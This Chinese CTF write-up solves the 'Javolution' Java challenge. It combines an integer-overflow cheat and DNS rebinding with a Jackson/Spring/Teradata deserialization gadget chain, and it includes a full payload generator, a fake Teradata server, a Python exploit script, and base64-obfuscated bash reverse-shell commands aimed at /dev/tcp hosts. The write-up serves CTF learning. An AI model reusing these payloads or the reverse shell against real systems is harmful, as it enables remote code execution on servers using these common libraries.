周末简单看了下题,天枢出的题质量确实很高,但奈何自己水平就这样,只做了两道题。
Javolution
题解
Javolution 这题当时是真的没有发现竟然1ue师傅这里有现成的fakeserver脚本https://github.com/luelueking/Deserial_Sink_With_JDBC(自己还花了一天的时间在手搓协议)
模拟了一个宝可梦战斗的程序,然后这里存在整数溢出问题
直接把字节防御值设为 -2147483648
就能打过了
/cheat
接口能打反序列化,InetAddress.getByName(host)
这里利用DNS重绑定攻击绕
关键是找反序列化的 gadget
目标环境是jdk17,有spring环境,有jackson依赖,可以打jackson的原生反序列化触发环境中 TeraDataSource
的 getConnection
方法
后续流程
后续相关Connection父类 GenericTeradataConnection
存在一处命令执行的地方,且参数可控
Exp
//坑:!!!得用题目提供的PalDataSource来反序列化,不然linux下getParentLogger这里会报错
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.teradata.jdbc.TeraDataSource;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
public class GenPayload {
public static void gen() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
TeraDataSource dataSource = new PalDataSource();
dataSource.setDSName("xxx.xxx.xxx.xxx");
dataSource.setSSLMODE("DISABLE");
//commond
dataSource.setBROWSER("bash -c {echo,bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}}|{base64,-d}|{bash,-i}");
// dataSource.setBROWSER("calc");
dataSource.setTYPE("RAW");
dataSource.setLOGMECH("BROWSER");
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{DataSource.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}
现在有个问题是这里会发起一个正常的teradata数据库连接,所以得搭建一个这样的数据库
参考,https://www.w3cschool.cn/teradata/teradata_installation.html
自己下载了这4个多G的镜像,起了服务后尝试连接,但报错
[Teradata JDBC Driver] [TeraJDBC 20.00.00.16] [Error 1542] [SQLState 08000] Browser Authentication Mechanism not supported by this database
参考官方文档
但还是不太行
后面索性抓包得到数据包,然后根据源码和得到的数据包再改写得到fakeserver(真的是花了一整天,先是尝试手搓整个报文,但后续分析源码发现太耗时间了,所以直接在原有的数据包后追加我们需要的parcel即可)
import com.teradata.jdbc.jdbc_4.io.TDNetworkIOIF;
import com.teradata.jdbc.jdbc_4.io.TDPacket;
import com.teradata.jdbc.jdbc_4.logging.Log;
import com.teradata.jdbc.jdbc_4.parcel.SecurityPolicyParcel;
import com.teradata.jdbc.jdbc_4.util.ErrorAnalyzer;
import javax.net.ssl.SSLSocket;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.ServerSocket;
import java.net.Socket;
import java.sql.SQLException;
import java.util.Arrays;
public class ProtocolPoc {
static byte[] bytes = new byte[] {3, 2, 10, 0, 0, 7, 0, 0, 3, 120, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 2, 78, 0, 0, 3, -24, 0, 0, 3, -24, 0, 120, 0, 1, 119, -1, 0, 0, 0, 2, 0, 0, 0, 1, -1, 0, 0, 4, -66, 0, 85, 84, 70, 49, 54, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -65, 0, 85, 84, 70, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -1, 0, 65, 83, 67, 73, 73, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -64, 0, 69, 66, 67, 68, 73, 67, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 78, 1, 0, 1, 0, 1, 84, 0, 7, 0, -116, 49, 0, 0, 100, 0, 0, -6, 0, 0, 15, 66, 64, 0, 0, 0, 0, 124, -1, 6, 0, 0, 112, 0, 0, 0, -1, -8, 0, 0, 0, 1, 0, 0, 0, 0, -65, 0, 0, 0, 16, 0, 0, -1, -1, 0, 0, 8, 0, 0, 0, 0, -128, 0, 0, 0, 64, 0, 0, 9, -25, 0, 15, -96, 0, 0, 0, -14, 48, 0, 0, 121, 24, 0, 0, 0, 38, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, 125, 0, 0, 0, 125, 0, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, 9, -25, 0, 0, 0, 6, 0, 0, 0, 6, 0, 0, 0, 6, 0, 0, 3, -24, 0, 15, -96, 0, 0, -1, -4, 0, 0, 15, -1, -76, 0, 0, -6, 0, 0, 9, 0, 1, 1, 0, 10, 0, 28, 1, 1, 1, 1, 1, 1, 1, 2, 1, 0, 1, 1, 0, 1, 1, 1, 1, 2, 1, 1, 0, 1, 1, 1, 1, 1, 1, 2, 0, 11, 0, 34, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 12, 0, 6, 1, 0, 1, 2, 1, 1, 0, 13, 0, 62, 49, 55, 46, 50, 48, 46, 48, 51, 46, 48, 57, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 55, 46, 50, 48, 46, 48, 51, 46, 48, 57, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 14, 0, 4, 3, 3, 2, 3, 0, 15, 0, 40, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 16, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -128, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 18, 0, 32, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 0, 8, 1, 1, 1, 0, 0, 0, 0, 0, 0, 6, 0, 2, 1, 73, 0, -91, 0, 76, 0, 0, 0, 1, 0, 1, 0, 5, 1, 0, 2, 0, 8, 17, 20, 3, 9, 0, 3, 0, 4, 0, 4, 0, 6, 0, 33, 0, 6, 0, 4, 0, 5, 0, 4, 0, 7, 0, 4, 0, 8, 0, 4, 0, 9, 0, 4, 0, 10, 0, 5, 1, 0, 11, 0, 5, 1, 0, 12, 0, 5, 1, 0, 14, 0, 4, 0, 16, 0, 6, 1, 0, 0, -89, 0, 49, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, 63, 1, -121, 116, 1, 1, 9, 0, 16, 0, 12, 0, 0, 0, 3, 0, 0, 0, 1, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 20, 0, -89, 0, 36, 0, 0, 0, 1, 0, 0, 0, 12, 43, 6, 1, 4, 1, -127, 63, 1, -121, 116, 1, 20, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 70, 0, -89, 0, 33, 0, 0, 0, 1, 0, 0, 0, 9, 42, -122, 72, -122, -9, 18, 1, 2, 2, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 40, 0, -89, 0, 30, 0, 0, 0, 1, 0, 0, 0, 6, 43, 6, 1, 5, 5, 2, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 65, 0, -89, 0, 37, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, -32, 26, 4, -126, 46, 1, 4, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 30, 0, -89, 0, 37, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, -32, 26, 4, -126, 46, 1, 3, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 10};
static String url = "http://xxx.xxx.xxx.xxx:8080";
public static void main(String[] args) throws SQLException {
// 服务器端代码
try {
ServerSocket serverSocket = new ServerSocket(1025);
while (true) {
System.out.println("Server started, waiting for client...");
Socket clientSocket = serverSocket.accept();
System.out.println("Client connected.");
OutputStream out = clientSocket.getOutputStream();
// 创建TDPacket对象并设置数据
TDPacket packet = new TDPacket(1024);
packet.getBuffer().put(bytes);
//第8第9个字节为报文总长度,需要需修改
//940 -52 =888
//888 + 17 + url.getBytes().length
packet.getBuffer().putShort(8, (short) (888 + 17 + url.getBytes().length));
setGtwConfigParcel(packet);
out.write(packet.getBuffer().getBuffer());
System.out.println("end............");
}
} catch (IOException e) {
e.printStackTrace();
}
}
//总长为18字节
public static void setGtwConfigParcel(TDPacket packet) {
//Gtw标识,装填Flavor
packet.getBuffer().putShort((short) 165);
// 之后buffer里开始填 GtwConfigParcel 的数据
// Parcel数据的整体长度
packet.getBuffer().putShort((short) (17 + url.getBytes().length));
// Int标识
packet.getBuffer().putInt(1);
// determineFeatureSupport中的标识
// var4 var5
packet.getBuffer().putShort((short) 15);
//**填充, 坑,调试出来的,和给的url长度有关**
packet.getBuffer().putShort((short) 35);
// m_sIdentityProviderClientID
packet.getBuffer().putShort((short) 1);
packet.getBuffer().put((byte) 97);
// m_sIdentityProviderURL
packet.getBuffer().putShort((short) url.getBytes().length);
for (byte b: url.getBytes()) {
packet.getBuffer().put(b);
}
}
}
然后服务器上放个.well-known/openid-configuration文件
{
"authorization_endpoint": "xxx",
"token_endpoint": "xxxx"
}
Exp
import requests
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAN29yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5Ib3RTd2FwcGFibGVUYXJnZXRTb3VyY2VoDf7kp0GjUwIAAUwABnRhcmdldHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AA3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABABRqYXZheC5zcWwuRGF0YVNvdXJjZXhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAARaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7WwARcHJveGllZEludGVyZmFjZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAFWgALcHJlRmlsdGVyZWRMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AE0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHNyADxvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuRGVmYXVsdEFkdmlzb3JDaGFpbkZhY3RvcnlU3WQ34k5x9wIAAHhwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3EAfgAZAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AAN4cHNyACdvcmcuZHViaGUuamF2b2x1dGlvbi5wb29sLlBhbERhdGFTb3VyY2WdSCckHlz9rQIAAHhyACBjb20udGVyYWRhdGEuamRiYy5UZXJhRGF0YVNvdXJjZRhK+SbQU/G9AgAAeHIAJGNvbS50ZXJhZGF0YS5qZGJjLlRlcmFEYXRhU291cmNlQmFzZQYeeS/skN2GAgBeSQAORFNMb2dpblRpbWVvdXRMAAdDaGFyU2V0dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGRFNOYW1lcQB+ACFMAAdMb2dEYXRhcQB+ACFMAAdMb2dNZWNocQB+ACFMAAlQYXJ0aXRpb25xAH4AIUwADFRyYW5zYWN0TW9kZXEAfgAhTAAJYWNjb3VudElkcQB+ACFMAAljb21wYXREQlNxAH4AIUwAD2NvbXBhdEdldFNjaGVtYXEAfgAhTAAOY29tcGF0R2V0VGFibGVxAH4AIUwAD2NvbXBhdElzQXV0b0luY3EAfgAhTAAQY29tcGF0SXNDdXJyZW5jeXEAfgAhTAAPY29tcGF0SXNEZWZXcml0cQB+ACFMABBjb21wYXRJc1JlYWRPbmx5cQB+ACFMAA5jb21wYXRJc1NlYXJjaHEAfgAhTAAOY29tcGF0SXNTaWduZWRxAH4AIUwAEGNvbXBhdElzV3JpdGFibGVxAH4AIUwADGRhdGFiYXNlTmFtZXEAfgAhTAAOZGF0YXNvdXJjZU5hbWVxAH4AIUwAB2Ric1BvcnRxAH4AIUwAFWRlcHJlY2F0ZWRfc2VydmVyTmFtZXEAfgAhTAALZGVzY3JpcHRpb25xAH4AIUwAC2VuY3J5cHREYXRhcQB+ACFMAAZnb3Zlcm5xAH4AIUwACmxvYlN1cHBvcnRxAH4AIUwADGxvYlRlbXBUYWJsZXEAfgAhTAAIbG9nTGV2ZWxxAH4AIUwACWxvZ1dyaXRlcnQAFUxqYXZhL2lvL1ByaW50V3JpdGVyO0wADm1fY29wRGlzY292ZXJ5cQB+ACFMAA1tX3ByZXBTdXBwb3J0cQB+ACFMABZtX3NBY2N1cmF0ZUNvbHVtbk5hbWVzcQB+ACFMAAptX3NCcm93c2VycQB+ACFMABRtX3NCcm93c2VyVGFiVGltZW91dHEAfgAhTAARbV9zQnJvd3NlclRpbWVvdXRxAH4AIUwACm1fc0NPUExhc3RxAH4AIUwAEG1fc0NsaWVudENoYXJzZXRxAH4AIUwAFG1fc0Nvbm5lY3RGYWlsdXJlVFRMcQB+ACFMABJtX3NDb25uZWN0RnVuY3Rpb25xAH4AIUwAGG1fc0NyZWRlbnRpYWxzRnJvbUdldFVSTHEAfgAhTAAQbV9zRGF0YURpY3RTdGF0c3EAfgAhTAASbV9zRXJyb3JRdWVyeUNvdW50cQB+ACFMABVtX3NFcnJvclF1ZXJ5SW50ZXJ2YWxxAH4AIUwAFG1fc0Vycm9yVGFibGUxU3VmZml4cQB+ACFMABRtX3NFcnJvclRhYmxlMlN1ZmZpeHEAfgAhTAAVbV9zRXJyb3JUYWJsZURhdGFiYXNlcQB+ACFMABFtX3NGaWVsZFNlcGFyYXRvcnEAfgAhTAAUbV9zRmluYWxpemVBdXRvQ2xvc2VxAH4AIUwACm1fc0ZsYXR0ZW5xAH4AIUwADG1fc0hUVFBTUG9ydHEAfgAhTAANbV9zSFRUUFNQcm94eXEAfgAhTAAVbV9zSFRUUFNQcm94eVBhc3N3b3JkcQB+ACFMABFtX3NIVFRQU1Byb3h5VXNlcnEAfgAhTAAKbV9zTFNTVHlwZXEAfgAhTAAUbV9zTGl0ZXJhbFVuZGVyc2NvcmVxAH4AIUwAFm1fc0xvZ29uU2VxdWVuY2VOdW1iZXJxAH4AIUwAEW1fc01heE1lc3NhZ2VCb2R5cQB+ACFMAAxtX3NNYXlCZU51bGxxAH4AIUwADG1fc09JRENTY29wZXEAfgAhTAAMbV9zT0lEQ1Rva2VucQB+ACFMABNtX3NQcm94eUJ5cGFzc0hvc3RzcQB+ACFMABFtX3NSZWNvbm5lY3RDb3VudHEAfgAhTAAUbV9zUmVjb25uZWN0SW50ZXJ2YWxxAH4AIUwACm1fc1JlZHJpdmVxAH4AIUwADW1fc1J1blN0YXJ0dXBxAH4AIUwACG1fc1NTTENBcQB+ACFMAAxtX3NTU0xDQVBhdGhxAH4AIUwACW1fc1NTTENSQ3EAfgAhTAAJbV9zU1NMQ1JMcQB+ACFMAAxtX3NTU0xDaXBoZXJxAH4AIUwAC21fc1NTTERlYnVncQB+ACFMAAptX3NTU0xNb2RlcQB+ACFMAAptX3NTU0xPQ1NQcQB+ACFMAA5tX3NTU0xQcm90b2NvbHEAfgAhTAAQbV9zU1NMVHJ1c3RTdG9yZXEAfgAhTAAYbV9zU1NMVHJ1c3RTdG9yZVBhc3N3b3JkcQB+ACFMABRtX3NTU0xUcnVzdFN0b3JlVHlwZXEAfgAhTAANbV9zU2lwU3VwcG9ydHEAfgAhTAAXbV9zU2xvYlJlY2VpdmVUaHJlc2hvbGRxAH4AIUwAGG1fc1Nsb2JUcmFuc21pdFRocmVzaG9sZHEAfgAhTAAPbV9zU3RyaWN0RW5jb2RlcQB+ACFMAAZtX3NUQ1BxAH4AIUwAFm1fc1RydXN0ZWRTUUxBd2FyZW5lc3NxAH4AIUwAEG1fc1hYRVByb2Nlc3NpbmdxAH4AIUwAC25ld1Bhc3N3b3JkcQB+ACFMAAhwYXNzd29yZHEAfgAhTAAKc2VydmVyTmFtZXEAfgAhTAAIc2Vzc2lvbnNxAH4AIUwAA3NwbHEAfgAhTAAFdG5hbm9xAH4AIUwABnRzbmFub3EAfgAhTAAEdHlwZXEAfgAhTAAJdXNlWHZpZXdzcQB+ACFMAAR1c2VycQB+ACF4cAAAAAB0AAVBU0NJSXQADjExMS4yMjkuODguMTQ1cHQAB0JST1dTRVJ0AAdEQkMvU1FMdAAHREVGQVVMVHQADU5PX0FDQ09VTlRfSURwcHBwcHBwcHBwdAAPTk9fREVGX0RBVEFCQVNFcHBwdAAUVGVyYWRhdGEgRGF0YSBTb3VyY2V0AANPRkZ0AAJPTnEAfgAtcHBwcQB+AC1wcHQAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmk5a1pYWXZkR053THpFeE1TNHlNamt1T0RndU1UUTFMekV5TXpRZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX1wcHBwcHBwcHBwcHBwdAABLHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHQAB0RJU0FCTEVwcHBwcHEAfgAtcHBwcHBwcHBwdAABMHQAA1NQTHBwdAADUkFXcQB+ACxwdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAADdnIAI29yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLlNwcmluZ1Byb3h5AAAAAAAAAAAAAAB4cHZyAClvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZAAAAAAAAAAAAAAAeHB2cgAob3JnLnNwcmluZ2ZyYW1ld29yay5jb3JlLkRlY29yYXRpbmdQcm94eQAAAAAAAAAAAAAAeHBxAH4ABHNxAH4AAnNyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YU3RyaW5nHAonO0gWxf0CAAB4cgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWE9iamVjdPSYEgm7e7YZAgABTAAFbV9vYmpxAH4AA3hyACxjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwuRXhwcmVzc2lvbgfZphyNrKzWAgABTAAIbV9wYXJlbnR0ADJMY29tL3N1bi9vcmcvYXBhY2hlL3hwYXRoL2ludGVybmFsL0V4cHJlc3Npb25Ob2RlO3hwcHQAATFxAH4APHg="
baseUrl = "http://1.95.54.152:39443"
def battle(boss):
res = requests.get(baseUrl + f"/pal/battle/{boss}")
print(res.text)
def cheat():
res = requests.get(baseUrl + "/pal/cheat?defense=-2147483648")
def show():
res = requests.get(baseUrl + "/pal/show")
print(res.text)
def reverseShell():
res = requests.post(baseUrl + "/pal/cheat", data={"host": "dubhe.pankas.top", "data": payload})
print(res.text)
if __name__ == "__main__":
cheat()
show()
battle("Jetragon")
show()
reverseShell()
关于新学到的点
记录下出题人的记录 https://h4cking2thegate.github.io/posts/42795/
然后这里关于出题人的wp中对于toString的触发其实是很不错的
出题人的wp
package org.example.teratest;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
public class JacksonTera
{
public static void main(String[] args) throws Exception
{
String command = "notepad";
PalDataSource dataSource = new PalDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");
dataSource.setBROWSER_TIMEOUT("2");
dataSource.getConnection();
Object proxy = getProxy(dataSource, DataSource.class);
Object exp = getXstringMap(proxy);
base64Serialize(exp);
}
public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}
public static Object getXstringMap(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);
XString xString = new XString("A.R.");
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);
return o;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception
{
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static String base64Serialize(Object obj) throws Exception
{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
对于jackson的链子,比较关键的就是如何找到 toString()
这个点 ,一般比较好找的点就是从 equals
方法到 toString
方法,所以一般在有 XString
的情况下就可以利用 XString
的 equals
方法来触发 POJONode
的toString
方法。一般equal
方法确实是比较好触发的,这里A.R师傅就是给出了一种比较通用的办法,就是利用 HashMap
的hash碰撞来触发equals
方法。
先来看看HashMap
是如何put
的
调用 hash
方法计算key的hashCode,之后调用 putVal
添加数据,hash
方法调用的是key的 hashCode
方法,所以这里一个sink点是 hashCode()
方法。
关键是看后面HashMap是如何处理hash碰撞的
putVal
中能看到,当两个值的hashcode一样时 **(发生hash碰撞)**,会调用key
的equal
方法来和hash值一样的key进行比较看是否相等,那么这里就找到了一个 equals
的sink点,后续利用 XString
就可以从 equals
到 toString
了
所以这里的点就是如何构造hash碰撞
我们知道在反序列化HashMap的时候必定会调用 HashMap 的 put
方法添加数据,而对于不同的对象,其hashcode一般是不一样的,
但字符串除外,两个不同的字符串他们的hashcode可能会是一样的,比如字符串 yy
和 字符串 zZ
,他们的hashcode就是一样的。但调用 字符串的equals
方法是没啥意义的,我们得利用特定对象的 equals
方法才行,所以这里就要求我们找两个hashcode 相同的不同对象才可以。
这样的类有吗,确实是有的,比如 org.springframework.aop.target.HotSwappableTargetSource
,它的hashCode
方法的返回值是固定的,它的两个不同对象可以实现hash碰撞
那有没有更通用的,在jdk原生包里就有的呢?
也是有的,就是上面payload中使用的方法,在 HashMap
中套两个 HashMap
来完成hash碰撞,且能触发其中特性对象的 equals
方法
看看 HashMap
的 hashCode
方法是如何计算hash值的
使用的是其父类 AbstractMap
的 hashCode
方法
比较简单暴力,就是对HashMap中每一个entry的hashcode值累加得到
其中entry的hashCode
方法就是对其 key
和 value
的hashcode 异或
所以假设有两个不同的对象 C
和 D
,要满足 A^C +B^D == A^D + B^C
,我们只要令A
== B
,就可以,而对于 A和B我们给两个hashcode相同的字符串即可,如 yy
和 zZ
这样就满足了两个不同的 HashMap
确有了相同 hashCode 的方法了
import java.util.HashMap;
public class Test {
public static void main(String[] args) {
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Test test1 = new Test();
Test test2 = new Test();
hashMap1.put("yy", test1);
hashMap1.put("zZ", test2);
hashMap2.put("yy", test2);
hashMap2.put("zZ", test1);
System.out.println(hashMap1.hashCode() == hashMap2.hashCode());
}
}
上面这段代码的运行结果为 true
那么满足hash碰撞后就到了使用 equals
方法进行比较的时候了,看看 HashMap
的 equals
方法
代码如下
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
